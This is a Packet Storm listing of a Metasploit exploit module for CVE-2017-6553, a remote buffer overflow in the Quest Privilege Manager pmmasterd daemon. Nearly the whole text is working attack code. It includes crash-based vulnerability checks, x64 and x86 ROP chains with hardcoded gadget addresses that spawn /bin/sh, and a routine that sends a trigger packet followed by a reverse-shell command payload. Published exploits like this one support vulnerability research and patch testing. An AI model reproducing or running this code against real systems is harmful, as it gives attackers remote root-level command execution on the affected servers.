Quest Privilege Manager pmmasterd Buffer Overflow

2017-05-13T00:00:00
ID PACKETSTORM:142492
Type packetstorm
Reporter m0t
Modified 2017-05-13T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Quest Privilege Manager pmmasterd Buffer Overflow',  
'Description' => %q{  
This modules exploits a buffer overflow in the Quest Privilege Manager,  
a software used to integrate Active Directory with Linux and Unix  
systems. The vulnerability exists in the pmmasterd daemon, and can only  
triggered when the host has been configured as a policy server (  
Privilege Manager for Unix or Quest Sudo Plugin). A buffer overflow  
condition exists when handling requests of type ACT_ALERT_EVENT, where  
the size of a memcpy can be controlled by the attacker. This module  
only works against version < 6.0.0-27. Versions up to 6.0.0-50 are also  
vulnerable, but not supported by this module (a stack cookie bypass is  
required). NOTE: To use this module it is required to be able to bind a  
privileged port ( <=1024 ) as the server refuses connections coming  
from unprivileged ports, which in most situations means that root  
privileges are required.  
},  
'Author' =>  
[  
'm0t'  
],  
'References' =>  
[  
['CVE', '2017-6553'],  
['URL', 'https://0xdeadface.wordpress.com/2017/04/07/multiple-vulnerabilities-in-quest-privilege-manager-6-0-0-xx-cve-2017-6553-cve-2017-6554/']  
],  
'Payload' =>  
{  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'  
}  
},  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Targets' =>  
[  
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',  
{  
exploit: :exploit_x64,  
check: :check_x64  
}  
],  
['Quest Privilege Manager pmmasterd 6.0.0-27 x86',  
{  
exploit: :exploit_x86,  
check: :check_x86  
}  
]  
],  
'Privileged' => true,  
'DisclosureDate' => 'Apr 09 2017',  
'DefaultTarget' => 0  
)  
)  
  
register_options(  
[  
Opt::RPORT(12345),  
Opt::CPORT(rand(1024))  
]  
)  
end  
  
# definitely not stealthy! sends a crashing request, if the socket dies, or  
# the output is partial it assumes the target has crashed. Although the  
# daemon spawns a new process for each connection, the segfault will appear  
# on syslog  
def check  
unless respond_to?(target[:check], true)  
fail_with(Failure::NoTarget, "Invalid target specified")  
end  
  
send(target[:check])  
end  
  
def exploit  
unless respond_to?(target[:exploit], true)  
fail_with(Failure::NoTarget, "Invalid target specified")  
end  
  
request = send(target[:exploit])  
  
connect  
print_status("Sending trigger")  
sock.put(request)  
sock.get_once  
print_status("Sending payload")  
sock.put(payload.encoded)  
disconnect  
end  
  
# server should crash after parsing the packet, partial output is returned  
def check_x64  
head = [ 0x26c ].pack("N")  
head << [ 0x700 ].pack("N")  
head << [ 0x700 ].pack("N")  
head << "\x00" * 68  
  
body = "PingE4.6 .0.0.27"  
body << rand_text_alpha(3000)  
  
request = head + body  
  
connect  
print_status("Sending trigger")  
sock.put(request)  
res = sock.timed_read(1024, 1)  
if res.match? "Pong4$"  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Unknown  
end  
end  
  
# server should crash while parsing the packet, with no output  
def check_x86  
head = [ 0x26c ].pack("N")  
head << [ 0x700 ].pack("N")  
head << [ 0x700 ].pack("N")  
head << "\x00" * 68  
  
body = rand_text_alpha(3000)  
  
request = head + body  
  
connect  
print_status("Sending trigger")  
sock.put(request)  
begin  
sock.timed_read(1024, 1)  
return Exploit::CheckCode::Unknown  
rescue ::Exception  
return Exploit::CheckCode::Appears  
end  
end  
  
def exploit_x64  
head = [ 0x26c ].pack("N")  
head << [ 0x700 ].pack("N")  
head << [ 0x700 ].pack("N")  
head << "\x00" * 68  
  
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)  
ropchain = [  
0x408f88, # pop rdi, ret  
0x4FA215, # /bin/sh  
0x40a99e, # pop rsi ; ret  
0, # argv @rsi  
0x40c1a0, # pop rax, ret  
0, # envp @rax  
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret  
0xcacc013, # padding  
0x408a98, # execve,  
0  
].pack("Q*")  
  
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES  
body << rand_text_alpha(1600)  
body << ropchain  
body << rand_text_alpha(0x700 - body.size)  
  
head + body  
end  
  
def exploit_x86  
head = [ 0x26c ].pack("N")  
head << [ 0x108 ].pack("N")  
head << [ 0xcc ].pack("N")  
head << "\x00" * 68  
  
# rop chain for pmmasterd 6.0.0.27 (which is compiled without -fPIE)  
ropchain = [  
0x8093262, # ret  
0x73, # cs reg  
0x804AE2C, # execve,  
0xcacc013, # padding  
0x8136CF0, # /bin/sh  
0,  
0  
].pack("V*")  
  
pivotback = 0x08141223 # sub esp, ebx ; retf  
writable = 0x81766f8 # writable loc  
  
body = "PingE4.6 .0.0.27" # this works if encryption is set to AES, which is default, changing E4 to E2 might make it work with DES  
body << rand_text_alpha(104)  
body << ropchain  
body << rand_text_alpha(0xb4 - body.size)  
body << [0x50].pack("V")  
body << rand_text_alpha(0xc4 - body.size)  
body << [pivotback].pack("V")  
body << [writable].pack("V")  
body << rand_text_alpha(0x108 - body.size)  
  
head + body  
end  
end  
`